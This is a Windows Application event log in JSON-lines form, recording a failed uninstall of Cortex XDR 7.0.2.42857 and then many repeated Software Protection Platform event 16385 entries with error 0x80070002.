{"@timestamp":1658998752070,"ecs":{"version":"8.4"},"event":{"activity":null,"code":11725,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D","Data":{"#text":["Product: Cortex XDR 7.0.2.42857 -- Removal failed.","(NULL)","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171939}}
{"@timestamp":1658998752071,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","1603","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171940}}
{"@timestamp":1658998752088,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1042,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["{FDB5FE8A-037B-4D0D-85B2-2498D4D7AADB}","7900","(NULL)","(NULL)","(NULL)","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171941}}
{"@timestamp":1658998752081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":10001,"custom_data":{"UserData":{"RmSessionEvent":{"#attributes":{"xmlns":"http://www.microsoft.com/2005/08/Windows/Reliability/RestartManager/"},"RmSessionId":0,"UTCStartTime":"2022-07-28T08:59:07.108984Z"}}},"module":"Application","provider":"Microsoft-Windows-RestartManager","sequence":171942}}
{"@timestamp":1658998780765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:40Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171943}}
{"@timestamp":1658998819883,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171944}}
{"@timestamp":1658998849890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171945}}
{"@timestamp":1658998879898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171946}}
{"@timestamp":1658998909904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171947}}
{"@timestamp":1658998939911,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171948}}
{"@timestamp":1658998969917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171949}}
{"@timestamp":1658998999924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171950}}
{"@timestamp":1658999029929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171951}}
{"@timestamp":1658999059935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171952}}
{"@timestamp":1658999089942,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171953}}
{"@timestamp":1658999119948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171954}}
{"@timestamp":1658999149955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171955}}
{"@timestamp":1658999179963,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171956}}
{"@timestamp":1658999209970,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171957}}
{"@timestamp":1658999239976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171958}}
{"@timestamp":1658999269983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171959}}
{"@timestamp":1658999299990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:19Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171960}}
{"@timestamp":1658999329997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:49Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171961}}
{"@timestamp":1658999360004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171962}}
{"@timestamp":1658999390011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171963}}
{"@timestamp":1658999420017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171964}}
{"@timestamp":1658999450026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171965}}
{"@timestamp":1658999480033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171966}}
{"@timestamp":1658999510039,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171967}}
{"@timestamp":1658999540047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171968}}
{"@timestamp":1658999570055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171969}}
{"@timestamp":1658999600063,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171970}}
{"@timestamp":1658999630069,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171971}}
{"@timestamp":1658999660077,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171972}}
{"@timestamp":1658999690085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171973}}
{"@timestamp":1658999720092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171974}}
{"@timestamp":1658999750100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171975}}
{"@timestamp":1658999780107,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171976}}
{"@timestamp":1658999810114,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171977}}
{"@timestamp":1658999840121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171978}}
{"@timestamp":1658999870129,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171979}}
{"@timestamp":1658999900137,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171980}}
{"@timestamp":1658999930143,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171981}}
{"@timestamp":1658999960150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171982}}
{"@timestamp":1658999990159,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171983}}
{"@timestamp":1659000020167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171984}}
{"@timestamp":1659000050174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171985}}
{"@timestamp":1659000080182,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171986}}
{"@timestamp":1659000110188,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171987}}
{"@timestamp":1659000140195,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171988}}
{"@timestamp":1659000170202,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171989}}
{"@timestamp":1659000200208,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171990}}
{"@timestamp":1659000230215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171991}}
{"@timestamp":1659000260222,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171992}}
{"@timestamp":1659000290228,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171993}}
{"@timestamp":1659000320235,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171994}}
{"@timestamp":1659000350241,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171995}}
{"@timestamp":1659000380248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171996}}
{"@timestamp":1659000410255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171997}}
{"@timestamp":1659000440261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171998}}
{"@timestamp":1659000470268,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":171999}}
{"@timestamp":1659000500275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172000}}
{"@timestamp":1659000530280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172001}}
{"@timestamp":1659000560288,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172002}}
{"@timestamp":1659000590401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:50Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172003}}
{"@timestamp":1659000620696,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:20Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172004}}
{"@timestamp":1659000651019,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172005}}
{"@timestamp":1659000681044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172006}}
{"@timestamp":1659000711219,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172007}}
{"@timestamp":1659000741314,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172008}}
{"@timestamp":1659000771330,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172009}}
{"@timestamp":1659000801345,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172010}}
{"@timestamp":1659000831363,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172011}}
{"@timestamp":1659000861374,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172012}}
{"@timestamp":1659000891384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172013}}
{"@timestamp":1659000921394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172014}}
{"@timestamp":1659000951404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172015}}
{"@timestamp":1659000981413,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172016}}
{"@timestamp":1659001011424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172017}}
{"@timestamp":1659001041451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172018}}
{"@timestamp":1659001071609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172019}}
{"@timestamp":1659001101703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172020}}
{"@timestamp":1659001131719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172021}}
{"@timestamp":1659001161733,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172022}}
{"@timestamp":1659001191744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172023}}
{"@timestamp":1659001221753,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172024}}
{"@timestamp":1659001251763,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172025}}
{"@timestamp":1659001281773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172026}}
{"@timestamp":1659001311783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172027}}
{"@timestamp":1659001341790,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172028}}
{"@timestamp":1659001371800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172029}}
{"@timestamp":1659001401809,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172030}}
{"@timestamp":1659001431816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172031}}
{"@timestamp":1659001461823,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172032}}
{"@timestamp":1659001491830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172033}}
{"@timestamp":1659001521838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172034}}
{"@timestamp":1659001551845,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172035}}
{"@timestamp":1659001581854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:21Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172036}}
{"@timestamp":1659001612018,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172037}}
{"@timestamp":1659001642086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172038}}
{"@timestamp":1659001672100,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172039}}
{"@timestamp":1659001702111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172040}}
{"@timestamp":1659001732125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172041}}
{"@timestamp":1659001762134,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172042}}
{"@timestamp":1659001792144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172043}}
{"@timestamp":1659001822154,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:34:22Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172044}}
{"@timestamp":1659001852164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:52Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172045}}
